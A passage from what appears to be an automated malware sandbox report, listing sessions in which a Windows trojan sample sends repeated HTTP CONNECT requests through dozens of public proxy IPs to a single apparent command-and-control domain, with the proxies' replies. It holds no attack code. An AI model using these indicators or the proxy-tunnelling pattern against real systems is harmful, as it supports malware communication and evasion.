Feb 23, 2024 14:28:38.753206015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:50.882385015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:02.882452011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:14.916918039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
636	192.168.2.8	52078	162.159.242.252	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.507164001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.595180988 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
637	192.168.2.8	50771	172.93.213.177	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.508200884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.703708887 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.1 Date: Fri, 23 Feb 2024 13:28:41 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
638	192.168.2.8	52048	65.49.82.7	31977	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.508795023 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.991724968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.492300987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.491885900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.382595062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
639	192.168.2.8	52016	211.222.252.187	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.509376049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
640	192.168.2.8	51622	34.92.12.210	9238	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.513406992 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.565543890 CET	28	IN	HTTP/1.1 502 Bad Gateway

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
641	192.168.2.8	52010	210.211.113.36	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.513571978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
642	192.168.2.8	52051	47.180.63.37	54321	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.521250963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
643	192.168.2.8	52017	43.131.245.216	15673	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.528611898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
644	192.168.2.8	52132	172.67.35.15	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.528887987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.616149902 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
645	192.168.2.8	52131	167.172.158.55	8000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.529704094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.882483959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.977973938 CET	32	IN	HTTP/1.0 504 Gateway Timeout

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
646	192.168.2.8	50634	101.255.167.253	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.536621094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.501163960 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
647	192.168.2.8	50727	201.77.108.1	999	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.540435076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.679294109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
648	192.168.2.8	52177	104.25.114.28	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.554620028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.643136978 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
649	192.168.2.8	50661	103.141.247.6	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.555778027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.561443090 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
650	192.168.2.8	51698	54.38.179.162	3774	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.556092024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.679294109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.679701090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.695188999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:50.788549900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:02.788440943 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:14.897866011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
651	192.168.2.8	52184	172.64.80.55	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.556099892 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.644279003 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
652	192.168.2.8	51389	67.201.59.70	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.556310892 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
653	192.168.2.8	52154	104.19.138.4	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.557344913 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.645098925 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
654	192.168.2.8	50776	164.132.112.254	31259	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.557516098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.679327011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.679873943 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.695198059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:50.788691044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:02.788458109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:14.897867918 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
655	192.168.2.8	52011	221.230.7.39	9000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.558670044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
656	192.168.2.8	52192	104.16.108.234	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.558672905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.646148920 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
657	192.168.2.8	52057	84.39.112.144	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.558976889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.736855030 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.2 Date: Fri, 23 Feb 2024 13:27:46 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
658	192.168.2.8	52194	104.21.85.109	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.559323072 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.647228003 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
659	192.168.2.8	52202	1.0.0.4	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.563690901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.651725054 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
660	192.168.2.8	52146	162.241.46.6	61579	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.563694954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.882436037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.392995119 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.124759912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.491911888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.882500887 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.288683891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.046786070 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.398360014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
661	192.168.2.8	52209	104.24.136.68	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
